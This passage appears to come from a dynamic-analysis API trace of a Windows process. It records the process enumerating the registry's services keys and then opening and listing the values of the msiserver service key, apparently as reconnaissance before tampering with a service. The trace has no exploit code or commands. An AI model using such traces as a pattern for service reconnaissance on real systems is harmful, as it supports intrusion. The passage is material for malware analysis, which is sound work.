lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0218.625] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0218.625] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0218.625] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0218.625] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0218.625] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0218.626] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0218.626] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0218.626] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0218.626] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0218.626] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0218.626] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0218.626] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0218.626] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0218.626] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0218.626] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0218.626] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0218.626] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0218.626] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0218.626] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0218.627] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0218.627] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0218.627] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0218.627] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0218.627] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0218.627] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0218.627] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0218.627] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0218.627] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0218.627] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0218.627] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0218.627] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0218.627] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0218.627] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0218.628] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0218.628] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0218.628] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0218.628] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0218.628] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0218.628] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0218.628] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0218.628] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0218.628] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0218.628] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0218.628] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0218.628] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0218.628] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0218.628] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0218.628] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0218.629] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0218.629] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0218.629] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0218.629] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0218.629] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0218.629] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0218.629] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0218.629] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0218.629] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0218.629] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0218.629] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0218.629] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0218.629] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0218.630] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0218.630] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0218.630] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0218.630] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0218.630] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0218.630] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0218.630] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0218.630] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0218.630] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0218.662] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0218.662] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0218.662] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0218.662] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0218.662] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0218.662] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0218.662] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0218.662] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0218.662] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0218.662] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0218.662] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0218.662] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0218.662] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0218.663] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0218.663] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0218.663] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0218.663] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0218.663] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0218.663] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0218.663] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0218.663] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0218.663] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0218.663] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0218.663] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0218.663] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0218.663] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0218.663] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0218.664] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0218.664] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0218.664] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0218.664] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0218.664] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0218.664] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0218.664] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0218.664] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0218.664] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0218.664] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0218.664] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0218.664] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0218.664] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0218.664] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0218.665] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0218.665] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0218.665] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0218.665] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0218.665] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0218.665] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0218.665] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0218.665] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0218.665] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0218.665] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0218.665] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0218.665] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0218.665] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0218.665] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0218.666] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0218.666] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0218.666] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0218.666] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0218.666] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0218.666] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0218.666] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0218.666] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0218.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0218.666] RegCloseKey (hKey=0x148) returned 0x0 [0218.666] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0218.666] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0218.666] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0218.666] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0218.667] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0218.667] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0218.667] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0218.667] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0218.667] RegCloseKey (hKey=0x80000002) returned 0x0 [0218.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0218.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0218.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0218.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0218.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0218.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0218.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0218.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0218.667] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0218.668] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0218.668] RegCloseKey (hKey=0xc4) returned 0x0 [0218.668] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0218.668] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0218.668] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0218.668] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0218.668] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0218.668] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0218.668] RegCloseKey (hKey=0x148) returned 0x0 [0218.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0218.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0218.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0218.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0218.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0218.668] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0218.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0218.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0218.669] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0218.669] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.669] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.669] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.669] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.669] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.669] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.669] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.669] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.670] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.670] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.670] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.670] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.670] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.670] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 